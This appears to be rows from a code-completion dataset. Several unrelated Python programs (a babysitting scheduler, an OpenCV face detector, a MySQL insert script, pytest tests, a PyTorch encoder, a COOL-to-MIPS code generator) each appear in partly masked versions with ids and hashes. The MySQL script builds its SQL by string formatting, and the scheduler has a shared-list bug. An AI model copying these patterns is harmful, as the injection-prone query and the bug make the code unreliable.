""" file: babysit.py language: python3 author: [email protected] Parvathi Nair author: vpb8262 Vishal Bulchandani """ """ To compute the maximum pay a brother and sister can earn considering jobs that they can work on together or separately depending on the number of children to babysit """ from operator import * class Job: """ Job class which stores the attributes of the jobs """ def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate): self.day=day self.startTime=startTime self.endTime=endTime self.noOfChildren=noOfChildren self.hourlyRate=hourlyRate self.value=(endTime-startTime)/100*hourlyRate def __str__(self): return str(self.day)+ " " + str(self.startTime) + " "+ str(self.endTime) + " " +str(self.noOfChildren) + " " + str(self.hourlyRate)+ " " + str(self.value) #total is global variable total = 0 def takeInput(): """ Takes input from the console and creates objects and stores in a list jobList :return: jobList-list in which input is stored as objects """ n=int(input()) jobList=[] #taking n inputs and creating objects for i in range (n): str = input().strip('\n').split(" ") if int(str[1])>=600 and int(str[2])<=2300: jobs=Job (int(str[0]),int(str[1]),int(str[2]),int(str[3]),int(str[4])) jobList.append(jobs) return jobList def sortInputByEndTimeAndDay(jobList): """ Sorts the jobList based on day and then the endTime :param jobList: list of jobs :return: jobList in a sorted manner with respect to day and endTime """ jobList=sorted(jobList, key= attrgetter('day','endTime')) return jobList def divideJobs(jobList, maximum): """ Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index. :param jobList: sorted jobLists :param maximum: the maximum amongst the days being considered :return: segregatedJobs which is a list of lists """ segregatedJobs=[[0]]*(maximum) temp=jobList[0].day j = 0 for i in range(0,len(jobList)): if jobList[i].day==temp: segregatedJobs[j].append(jobList[i]) else: temp = jobList[i].day j += 1 segregatedJobs[j]=[0,jobList[i]] return segregatedJobs def computeRho(segregatedJob): """ To compute the Roh value in a list :param segregatedJob: jobs done in a particular day :return: rho: list in which computed rho is stored """ #inserting 0 at the 1st position rho = [0] count = 0 #calculating rho for i in range(1,len(segregatedJob)): j = i-1 while(j>0): if segregatedJob[i].startTime >= segregatedJob[j].endTime: count += 1 rho.append(j) break j=j-1 if count == 0: rho.append(0) count = 0 return rho def algo(segregatedJob): """ Implementing the interval scheduling algorithm :param segregatedJob: A sorted list of jobs of one particular day :return: None """ global total rho = computeRho(segregatedJob) r = len(rho); S = [[0 for x in range(r)] for y in range(r)] k = 0 #implementaion of scheduling algorithm while(k<len(S)): for j in range(k, len(S)): if k == j and j != 0 and segregatedJob[j].noOfChildren < 4: S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[j - 1][k - 1]) elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4: S[j][k] = S[j - 1][k] elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4: S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S[j - 1][k - 1]) elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4: S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - 1][k]) else: pass S[k][j] = S[j][k] k += 1 length = len(S) #Adding the max pay for every individual field in the matrix total += S[length-1][length-1] def main(): """ Main function. return: None """ global total jobList=takeInput() jobListSorted=sortInputByEndTimeAndDay(jobList) maximum=jobListSorted[len(jobListSorted)-1].day segregatedJobs=divideJobs(jobListSorted, maximum) for i in range (len(segregatedJobs)): algo(segregatedJobs[i]) # print the total pay print(int(total)) if __name__ == '__main__': main()
[ 7, 9, 12, 13, 14 ]
9,948
1df3a5dc8ed767e20d34c2836eed79872a21a016
<mask token>
<mask token> def face_detector(img, face_cascade, eye_cascade, face_f): xf = face_f[0] yf = face_f[1] wf = face_f[2] hf = face_f[3] xi = 0 yi = 0 wi = img.shape[1] hi = img.shape[0] c = float(0.1) print('face_f: ', xf, xf + wf, yf, yf + hf) if xf != xi or yf != yi or wf != wi or hf != hi: y1 = yf - round(c * hf) y2 = yf + hf + round(c * hf) x1 = xf - round(c * wf) x2 = xf + wf + round(c * wf) roi_f = img[y1:y2, x1:x2] print('Face apertura: ', x1, x2, y1, y2) cv2.imshow('Face apertura', roi_f) else: roi_f = img[face_f[1]:face_f[1] + face_f[3], face_f[0]:face_f[0] + face_f[2]] gray_img = cv2.cvtColor(roi_f, cv2.COLOR_BGR2GRAY) cv2.imshow('gray_img', gray_img) faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.04, minNeighbors=5) print('Faces: ', faces) if type(faces) == np.ndarray: flag = -1 for x, y, w, h in faces: flag = flag + 1 if w >= 100 and w <= 125 and h >= 100 and h <= 125: print('Entro en el if de tamaño') print('Face: ', x, y, w, h) roi_gray = gray_img[y:y + h, x:x + w] cv2.imshow('roi_gray', roi_gray) eyes = eye_cascade.detectMultiScale(roi_gray) c_eyes = 0 for ex, ey, ew, eh in eyes: c_eyes = c_eyes + 1 if c_eyes >= 2: print('faces[flag]', faces[flag]) return faces[flag]
import cv2 import numpy as np def face_detector(img, face_cascade, eye_cascade, face_f): xf = face_f[0] yf = face_f[1] wf = face_f[2] hf = face_f[3] xi = 0 yi = 0 wi = img.shape[1] hi = img.shape[0] c = float(0.1) print('face_f: ', xf, xf + wf, yf, yf + hf) if xf != xi or yf != yi or wf != wi or hf != hi: y1 = yf - round(c * hf) y2 = yf + hf + round(c * hf) x1 = xf - round(c * wf) x2 = xf + wf + round(c * wf) roi_f = img[y1:y2, x1:x2] print('Face apertura: ', x1, x2, y1, y2) cv2.imshow('Face apertura', roi_f) else: roi_f = img[face_f[1]:face_f[1] + face_f[3], face_f[0]:face_f[0] + face_f[2]] gray_img = cv2.cvtColor(roi_f, cv2.COLOR_BGR2GRAY) cv2.imshow('gray_img', gray_img) faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.04, minNeighbors=5) print('Faces: ', faces) if type(faces) == np.ndarray: flag = -1 for x, y, w, h in faces: flag = flag + 1 if w >= 100 and w <= 125 and h >= 100 and h <= 125: print('Entro en el if de tamaño') print('Face: ', x, y, w, h) roi_gray = gray_img[y:y + h, x:x + w] cv2.imshow('roi_gray', roi_gray) eyes = eye_cascade.detectMultiScale(roi_gray) c_eyes = 0 for ex, ey, ew, eh in eyes: c_eyes = c_eyes + 1 if c_eyes >= 2: print('faces[flag]', faces[flag]) return faces[flag]
#LIBRERIAS import cv2 import numpy as np #FUNCION: recibe una imagen y te devuelve las coordenadas de las caras def face_detector(img, face_cascade, eye_cascade, face_f): #variables face_f xf = face_f[0] yf = face_f[1] wf = face_f[2] hf = face_f[3] #variables img xi = 0 yi = 0 wi = img.shape[1] hi = img.shape[0] #apertura de face_f con relacion a la img c = float(0.1) #esto es un 10 % print("face_f: ", xf, xf + wf, yf, yf + hf) #roi_i = img[yf: yf + hf, xf: xf + wf] #cv2.imshow("roi_i", roi_i) if xf != xi or yf != yi or wf != wi or hf != hi: #(tendre que ver si AND o OR) #face_f no es igual a img, hace falta la apertura y1 = yf - round(c * hf) y2 = yf + hf + round(c * hf) x1 = xf - round(c * wf) x2 = xf + wf + round(c * wf) roi_f = img[y1: y2, x1: x2] print("Face apertura: ", x1, x2, y1, y2) cv2.imshow('Face apertura',roi_f) else: #face_f es igual a img, no hace falta la apertura roi_f = img[face_f[1] : face_f[1] + face_f[3], face_f[0] : face_f[0] + face_f[2]] #cv2.imshow('roi_f',roi_f) #paso el roi_f a gris para un mejor tratamiento gray_img = cv2.cvtColor(roi_f,cv2.COLOR_BGR2GRAY) cv2.imshow("gray_img",gray_img) #aplicar el clasificador de caras sobre la imagen y guardo el resultado en faces: seran la x, y, height y width faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.04, minNeighbors=5) print("Faces: ", faces) if type(faces) == np.ndarray: flag = -1 for x,y,w,h in faces: flag = flag + 1 #print("Face: ", x,y,w,h) if w >= 100 and w <= 125 and h >= 100 and h <= 125: print("Entro en el if de tamaño") #Region Of Interest print("Face: ", x,y,w,h) roi_gray = gray_img[y:y+h, x:x+w] cv2.imshow("roi_gray", roi_gray) #aplico el clasificador de ojos sobre la imagen de interes que se supone que es una cara y guardo el resultado en eyes eyes = eye_cascade.detectMultiScale(roi_gray) c_eyes = 0 for ex,ey,ew,eh in eyes: c_eyes = c_eyes + 1 if c_eyes >= 2: #si hay mínimo dos ojos (a veces la boca abierta la detecta como un tercer ojo), es una cara print("faces[flag]", faces[flag]) return faces[flag]
null
[ 0, 1, 2, 3 ]
9,949
8a2b7376369513ce403a2542fb8c6d5826b2169b
# -*- coding: utf-8 *-* import MySQLdb conn = MySQLdb.connect('localhost', 'ABarbara', 'root', '1dawabarbara') # Abro la conexión def crearTabla(query): # Le paso la cadena que realizará el create como parámetro. cursor = conn.cursor() #En un cursor (de la conexión) almaceno lo que quiero enviar a la base de datos. cursor.execute(query) #Ejecuto la orden cursor.close() # Una vez utilizado, cierro mi cursor. def insertarEmpleados(): cursor= conn.cursor() for x in range(2): try: nombre = raw_input('Nombre: ') apellido = raw_input('Apellido: ') sueldoBase = comprobarSueldo(float(raw_input ('Sueldo base: '))) hijos = (int(raw_input('Número de hijos: '))) sueldoFinal = calcularImponible(sueldoBase, hijos) insert = (("INSERT INTO EMPLEADOS VALUES('%s', '%s', '%f', '%d', '%f')" ) % (nombre, apellido, sueldoBase, hijos, sueldoFinal)) cursor.execute(insert) except ValueError: print "Error, tipo de dato incorrecto" except Exception: print "Error" cursor.close() def comprobarSueldo(sueldoBase): if sueldoBase<600: sueldoBase=600 return sueldoBase def calcularImponible(sueldo, hijos): if hijos>0: sueldoFinal= sueldo+((0.05*sueldo)*hijos) else: sueldoFinal= sueldo return sueldoFinal crearTabla("CREATE TABLE EMPLEADOS (nombre varchar(100), apellido varchar(100), sueldo_base Decimal, hijos int, sueldo_final Decimal)") insertarEmpleados() conn.commit() conn.close()
null
null
null
null
[ 0 ]
9,950
d10c74338ea18ef3e5fb6a4dd2224faa4f94aa62
<mask token>
<mask token> @pytest.fixture() def deployed_story_over_a_weekend(): revision_0 = DotDict({'CreationDate': '2019-07-11T14:33:20.000Z'}) revision_1 = DotDict({'CreationDate': '2019-07-31T15:33:20.000Z', 'Description': 'SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]' }) revision_2 = DotDict({'CreationDate': '2019-08-06T16:33:20.000Z', 'Description': 'SCHEDULE STATE changed from [Ready For Prod] to [Deployed]'}) rally_story = DotDict({'ScheduleState': 'Completed', 'RevisionHistory': DotDict({'Revisions': [revision_2, revision_1, revision_0]})}) return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'], {'In-Progress', 'Development'}, {'Deployed', 'Prod - ON'}) <mask token> def test_find_current_start_state(): assert 'In-Progress' == Story.find_current_state_name({'Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'}, {'In-Progress', 'Development'})
<mask token> @pytest.fixture() def deployed_story_over_a_weekend(): revision_0 = DotDict({'CreationDate': '2019-07-11T14:33:20.000Z'}) revision_1 = DotDict({'CreationDate': '2019-07-31T15:33:20.000Z', 'Description': 'SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]' }) revision_2 = DotDict({'CreationDate': '2019-08-06T16:33:20.000Z', 'Description': 'SCHEDULE STATE changed from [Ready For Prod] to [Deployed]'}) rally_story = DotDict({'ScheduleState': 'Completed', 'RevisionHistory': DotDict({'Revisions': [revision_2, revision_1, revision_0]})}) return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'], {'In-Progress', 'Development'}, {'Deployed', 'Prod - ON'}) def test_cycle_time_only_includes_business_days(deployed_story_over_a_weekend): assert deployed_story_over_a_weekend.cycle_time == 7 def test_find_current_start_state(): assert 'In-Progress' == Story.find_current_state_name({'Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'}, {'In-Progress', 'Development'})
import pytest from domain.story import Story from tests.dot_dictionary import DotDict @pytest.fixture() def deployed_story_over_a_weekend(): revision_0 = DotDict({'CreationDate': '2019-07-11T14:33:20.000Z'}) revision_1 = DotDict({'CreationDate': '2019-07-31T15:33:20.000Z', 'Description': 'SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]' }) revision_2 = DotDict({'CreationDate': '2019-08-06T16:33:20.000Z', 'Description': 'SCHEDULE STATE changed from [Ready For Prod] to [Deployed]'}) rally_story = DotDict({'ScheduleState': 'Completed', 'RevisionHistory': DotDict({'Revisions': [revision_2, revision_1, revision_0]})}) return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'], {'In-Progress', 'Development'}, {'Deployed', 'Prod - ON'}) def test_cycle_time_only_includes_business_days(deployed_story_over_a_weekend): assert deployed_story_over_a_weekend.cycle_time == 7 def test_find_current_start_state(): assert 'In-Progress' == Story.find_current_state_name({'Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'}, {'In-Progress', 'Development'})
import pytest from domain.story import Story from tests.dot_dictionary import DotDict @pytest.fixture() def deployed_story_over_a_weekend(): revision_0 = DotDict({ 'CreationDate': "2019-07-11T14:33:20.000Z" }) revision_1 = DotDict({ 'CreationDate': "2019-07-31T15:33:20.000Z", 'Description': "SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]" }) revision_2 = DotDict({ 'CreationDate': "2019-08-06T16:33:20.000Z", 'Description': "SCHEDULE STATE changed from [Ready For Prod] to [Deployed]" }) rally_story = DotDict({ 'ScheduleState': 'Completed', 'RevisionHistory': DotDict({ 'Revisions': [revision_2, revision_1, revision_0] }) }); return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'], {'In-Progress', 'Development'}, {'Deployed', 'Prod - ON'}) def test_cycle_time_only_includes_business_days(deployed_story_over_a_weekend): assert deployed_story_over_a_weekend.cycle_time == 7 def test_find_current_start_state() : assert 'In-Progress' == Story.find_current_state_name({'Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'}, {'In-Progress', 'Development'})
[ 0, 2, 3, 4, 5 ]
9,951
86ee2300b5270df3dadb22f2cfea626e6556e5db
<mask token> class BaseEncoder(nn.Module): <mask token> def __init__(self, **kwargs): if len(kwargs) > 0: raise RuntimeError('Unrecognized options: {}'.format(', '.join( kwargs.keys()))) super(BaseEncoder, self).__init__() <mask token> def get_parameters_for_optimizer(self): return self.parameters()
<mask token> class BaseEncoder(nn.Module): <mask token> def __init__(self, **kwargs): if len(kwargs) > 0: raise RuntimeError('Unrecognized options: {}'.format(', '.join( kwargs.keys()))) super(BaseEncoder, self).__init__() @abstractmethod def forward(self, features, features_lengths, spkids): """ Encode a minibatch of audio features :param features: float32 tensor of size (bs x t x f x c) :param features_lengths: int64 tensor of size (bs) :param spkids: string id of speakers :returns: A tuple with elements: - encoded: float32 tensor of size (t x bs x d) - encoded_lens: int64 tensor of size (bs) """ pass def get_parameters_for_optimizer(self): return self.parameters()
<mask token> class BaseEncoder(nn.Module): __metaclass__ = ABCMeta def __init__(self, **kwargs): if len(kwargs) > 0: raise RuntimeError('Unrecognized options: {}'.format(', '.join( kwargs.keys()))) super(BaseEncoder, self).__init__() @abstractmethod def forward(self, features, features_lengths, spkids): """ Encode a minibatch of audio features :param features: float32 tensor of size (bs x t x f x c) :param features_lengths: int64 tensor of size (bs) :param spkids: string id of speakers :returns: A tuple with elements: - encoded: float32 tensor of size (t x bs x d) - encoded_lens: int64 tensor of size (bs) """ pass def get_parameters_for_optimizer(self): return self.parameters()
from torch import nn from abc import ABCMeta, abstractmethod class BaseEncoder(nn.Module): __metaclass__ = ABCMeta def __init__(self, **kwargs): if len(kwargs) > 0: raise RuntimeError('Unrecognized options: {}'.format(', '.join( kwargs.keys()))) super(BaseEncoder, self).__init__() @abstractmethod def forward(self, features, features_lengths, spkids): """ Encode a minibatch of audio features :param features: float32 tensor of size (bs x t x f x c) :param features_lengths: int64 tensor of size (bs) :param spkids: string id of speakers :returns: A tuple with elements: - encoded: float32 tensor of size (t x bs x d) - encoded_lens: int64 tensor of size (bs) """ pass def get_parameters_for_optimizer(self): return self.parameters()
from torch import nn from abc import ABCMeta, abstractmethod class BaseEncoder(nn.Module): __metaclass__ = ABCMeta def __init__(self, **kwargs): if len(kwargs) > 0: raise RuntimeError( "Unrecognized options: {}".format(', '.join(kwargs.keys()))) super(BaseEncoder, self).__init__() @abstractmethod def forward(self, features, features_lengths, spkids): """ Encode a minibatch of audio features :param features: float32 tensor of size (bs x t x f x c) :param features_lengths: int64 tensor of size (bs) :param spkids: string id of speakers :returns: A tuple with elements: - encoded: float32 tensor of size (t x bs x d) - encoded_lens: int64 tensor of size (bs) """ pass def get_parameters_for_optimizer(self): return self.parameters()
[ 3, 4, 5, 6, 7 ]
9,952
63bc191a81a200d3c257de429c082cc8d13c98f4
<mask token> class MipsVisitor: <mask token> def __init__(self, inherit_graph, output_file='mips_code.mips'): self.inherit_graph, _ = inherit_graph self.offset = dict() self.type_index = [] self.dispatchtable_code = [] self.prototypes_code = [] self.cur_labels_id = 0 self.output_file = output_file <mask token> <mask token> def write_file(self, msg, mode='a', tabbed=True): f = open(self.output_file, mode) f.write('{}{}\n'.format('\t' if tabbed else '', msg)) f.close() def allocate_memory(self, size=None, register=False): if register: self.write_file('move $a0 {}'.format(size)) elif size: self.write_file('li $a0 {}'.format(size)) self.write_file('li $v0 9') self.write_file('syscall') <mask token> <mask token> @visitor.when(cil.Program) def visit(self, node: cil.Program): self.write_file('', 'w') self.write_file('.data', tabbed=False) self.static_datas() for data in node.data_section: self.visit(data) self.write_file('') for i in range(len(node.type_section)): self.type_index.append(node.type_section[i].type_name) self.write_file('classname_{}: .asciiz "{}"'.format(node. type_section[i].type_name, node.type_section[i].type_name)) self.write_file(f'{VOID_MIPS_NAME}: .asciiz ""') self.write_file('\n.text') self.entry() self.write_file('\n########## STATIC FUNCTIONS ##########\n') self.conforms() self.isvoid() self.object_abort() self.object_copy() self.object_typename() self.string_length() self.string_concat() self.string_substr() self.io_in_int() self.io_in_string() self.io_out_int() self.io_out_string() for t in node.type_section: self.visit(t) self.write_file('\n############## TABLES ################\n') self.write_file('function_build_class_name_table:', tabbed=False) self.allocate_memory(len(node.type_section) * 4) self.write_file('move $s1 $v0') for i in range(len(node.type_section)): self.write_file('la $t1 classname_{}'.format(node.type_section[ i].type_name)) self.write_file('sw $t1 {}($s1)'.format(4 * i)) self.write_file('') self.write_file('function_allocate_prototypes_table:', tabbed=False) self.allocate_memory(8 * len(self.type_index)) self.write_file('move $s0 $v0') self.write_file('') self.write_file('function_build_prototypes:', tabbed=False) for ins in self.prototypes_code: self.write_file(ins) self.write_file('') self.write_file('function_build_dispatch_tables:', tabbed=False) for ins in self.dispatchtable_code: self.write_file(ins) self.write_file('') self.write_file('function_build_class_parents_table:', tabbed=False) self.allocate_memory(4 * len(self.type_index)) self.write_file('move $s2 $v0') self.write_file('') for parent in self.inherit_graph.keys(): p_index = self.type_index.index(parent) for child in self.inherit_graph[parent]: ch_index = self.type_index.index(child.name) self.write_file(f'li $t0 {ch_index}') self.write_file(f'mul $t0 $t0 4') self.write_file(f'add $t0 $t0 $s2') self.write_file(f'li $t1 {p_index}') self.write_file(f'sw $t1 0($t0)') self.write_file('') self.write_file('') self.write_file('\n########### COOL FUNCTIONS ##########\n') for func in node.code_section: is_built_in = False if not INIT_CIL_SUFFIX in func.name: is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in func.name] != [] if not is_built_in: self.visit(func) self.write_file('\n#####################################\n') <mask token> @visitor.when(cil.Type) def visit(self, node: cil.Type): self.dispatchtable_code.append(f'# Type {node.type_name}') self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node. methods))) self.dispatchtable_code.append('li $v0 9') self.dispatchtable_code.append('syscall') for i in range(len(node.methods)): self.dispatchtable_code.append('la $t1 function_{}'.format(node .methods[i].function_name)) self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i)) self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self. type_index.index(node.type_name))) self.dispatchtable_code.append('sw $v0 8($t0)') self.dispatchtable_code.append('') self.prototypes_code.append(f'# Type {node.type_name}') self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node. attributes))) self.prototypes_code.append('li $v0 9') self.prototypes_code.append('syscall') class_index = self.type_index.index(node.type_name) self.prototypes_code.append('li $a0 {}'.format(class_index)) self.prototypes_code.append('sw $a0 0($v0)') self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node. attributes))) self.prototypes_code.append('sw $a0 4($v0)') self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index)) self.prototypes_code.append('') <mask token> @visitor.when(cil.Assign) def visit(self, node: cil.Assign): self.write_file('# ASSIGN') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source])) self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') <mask token> <mask token> <mask token> <mask token> @visitor.when(cil.Equal) def visit(self, node: cil.Equal): self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left])) self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right])) self.write_file(f'beq $t0 $zero _eq_false_{node.id}_') self.write_file(f'beq $t1 $zero _eq_false_{node.id}_') self.write_file('lw $a0 0($t0)') self.write_file('lw $a1 0($t1)') self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') self.write_file('li $a2 {}'.format(self.type_index.index( INTEGER_CLASS))) self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') self.write_file('li $a2 {}'.format(self.type_index.index( BOOLEAN_CLASS))) self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS)) ) self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_') self.write_file(f'_eq_str_{node.id}_:', tabbed=False) self.write_file('lw\t$t3 12($t0)') self.write_file('lw\t$t3 12($t3)') self.write_file('lw\t$t4, 12($t1)') self.write_file('lw\t$t4, 12($t4)') self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_') self.write_file(f'beq $t3 $0 _eq_true_{node.id}_') self.write_file('addu $t0 $t0 16') self.write_file('lw $t0 0($t0)') self.write_file('addu $t1 $t1 16') self.write_file('lw $t1 0($t1)') self.write_file('move $t2 $t3') self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False) self.write_file('lb $a0 0($t0)') self.write_file('lb $a1 0($t1)') self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') self.write_file('addu $t0 $t0 1') self.write_file('addu $t1 $t1 1') self.write_file('addiu $t2 $t2 -1') self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_') self.write_file(f'b _eq_true_{node.id}_') self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False) self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_') self.write_file(f'b _eq_true_{node.id}_') self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False) self.write_file('lw $a3 12($t0)') self.write_file('lw $t4 12($t1)') self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_') self.write_file(f'_eq_true_{node.id}_:', tabbed=False) self.write_file('li $a0 1') self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest])) self.write_file(f'b end_equal_{node.id}_') self.write_file(f'_eq_false_{node.id}_:', tabbed=False) self.write_file('li $a0 0') self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest])) self.write_file(f'end_equal_{node.id}_:', tabbed=False) <mask token> @visitor.when(cil.EqualOrLessThan) def visit(self, node: cil.EqualOrLessThan): self.write_file('# <=') self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right])) self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right])) self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.GetAttrib) def visit(self, node: cil.GetAttrib): self.write_file('# GETATTR') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)') self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.SetAttrib) def visit(self, node: cil.SetAttrib): self.write_file('# SETATTR') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') if isinstance(node.src, int): self.write_file(f'li $a0, {node.src}') elif node.src[:5] == 'data_': self.write_file(f'la $a0, {node.src}') else: self.write_file(f'lw $a0 {self.offset[node.src]}($fp)') self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)') self.write_file('') @visitor.when(cil.TypeOf) def visit(self, node: cil.TypeOf): self.write_file('# TYPEOF') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') self.write_file(f'lw $a0 0($a1)') self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)') self.write_file('') <mask token> @visitor.when(cil.Call) def visit(self, node: cil.Call): self.write_file('# CALL') self.write_file(f'addiu $sp, $sp, -8') self.write_file(f'sw $ra, 4($sp)') self.write_file(f'sw $fp, 8($sp)') self.write_file(f'jal function_{node.f}') self.write_file(f'lw $fp, 8($sp)') self.write_file(f'lw $ra, 4($sp)') self.write_file(f'addiu $sp, $sp, 8') if node.dest: self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.VCall) def visit(self, node: cil.VCall): self.write_file('# VCALL') self.write_file(f'addiu $sp, $sp, -8') self.write_file(f'sw $ra, 4($sp)') self.write_file(f'sw $fp, 8($sp)') if node.ttype[0] == '_': self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)') else: self.write_file(f'li $a2, {self.type_index.index(node.ttype)}') self.write_file(f'mulu $a2, $a2, 8') self.write_file(f'addu $a2, $a2, $s0') self.write_file(f'lw $a1, 0($a2)') self.write_file(f'lw $a2, 8($a1)') self.write_file(f'lw $a0 {node.f * 4}($a2)') self.write_file(f'jalr $a0') self.write_file(f'lw $fp, 8($sp)') self.write_file(f'lw $ra, 4($sp)') self.write_file(f'addiu $sp, $sp, 8') self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') if node.ttype[0] != '_': self.write_file(f'li $a2, {self.type_index.index(node.ttype)}') else: self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)') self.write_file('') @visitor.when(cil.PushParam) def visit(self, node: cil.PushParam): self.write_file('# PUSHPARAM') if node.name[0] != '_': self.write_file('li $a0, {}'.format(self.type_index.index(node. name))) else: self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name])) self.push() self.write_file('') @visitor.when(cil.PopParam) def visit(self, node: cil.PopParam): self.write_file('# POPPARAM') self.pop(node.name) self.write_file('') @visitor.when(cil.Return) def visit(self, node: cil.Return): self.write_file('# RETURN') self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value])) @visitor.when(cil.Label) def visit(self, node: cil.Label): self.write_file('_cil_label_{}:'.format(node.name), tabbed=False) <mask token> <mask token> <mask token> <mask token> <mask token> def object_copy(self): self.write_file('function_Object_copy:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file('lw $t0 12($fp)') self.write_file('lw $a0 4($t0)') self.write_file('move $t4 $a0') self.write_file('li $v0 9') self.write_file('syscall') self.write_file('move $t2 $v0') self.write_file('li $t3 0') self.write_file('_objcopy_loop:', tabbed=False) self.write_file('lw $t1 0($t0)') self.write_file('sw $t1 0($v0)') self.write_file('addiu $t0 $t0 4') self.write_file('addiu $v0 $v0 4') self.write_file('addiu $t3 $t3 4') self.write_file('ble $t4 $t3 _objcopy_loop') self.write_file('_objcopy_div_end_:', tabbed=False) self.write_file('move $v0 $t2') self.write_file('jr $ra') self.write_file('') def object_typename(self): self.write_file('function_Object_type_name:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS)) self.write_file('move $v1 $v0') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file('lw $a1 12($fp)') self.write_file('lw $a1 0($a1)') self.write_file('mulu $a1 $a1 4') self.write_file('addu $a1 $a1 $s1') self.write_file('lw $a1 0($a1)') self.write_file('move $a2 $0') self.write_file('move $t2 $a1') self.write_file('_str_len_clsname_:', tabbed=False) self.write_file('lb $a0 0($t2)') self.write_file('beq $a0 $0 _end_clsname_len_') self.write_file('addiu $a2 $a2 1') self.write_file('addiu $t2 $t2 1') self.write_file('j _str_len_clsname_') self.write_file('_end_clsname_len_:', tabbed=False) self.write_file('sw $a2, 12($v0)') self.write_file('sw $v0, 12($v1)') self.write_file('sw $a1, 16($v1)') self.write_file('move $v0 $v1') self.write_file('jr $ra') self.write_file('') def string_length(self): self.write_file('function_String_length:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file('lw $a0 12($fp)') self.write_file('lw $v0 12($a0)') self.write_file('jr $ra') self.write_file('') def string_concat(self): self.write_file('function_String_concat:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file('move $v1 $v0') self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS)) self.write_file('move $t3 $v0') self.write_file('lw $a1 12($fp)') self.write_file('lw $a2 16($fp)') self.write_file('lw $t1 12($a1)') self.write_file('lw $t1 12($t1)') self.write_file('lw $t2 12($a2)') self.write_file('lw $t2 12($t2)') self.write_file('addu $t0 $t2 $t1') self.write_file('sw $t0 12($v1)') self.write_file('lw $a1 16($a1)') self.write_file('lw $a2 16($a2)') self.write_file('addiu $t0 $t0 1') self.allocate_memory('$t0', register=True) self.write_file('move $t5 $v0') self.write_file('move $t4 $a1') self.write_file('addu $a1 $a1 $t1') self.write_file('_strcat_copy_:', tabbed=False) self.write_file('beq $t4 $a1 _end_strcat_copy_') self.write_file('lb $a0 0($t4)') self.write_file('sb $a0 0($t5)') 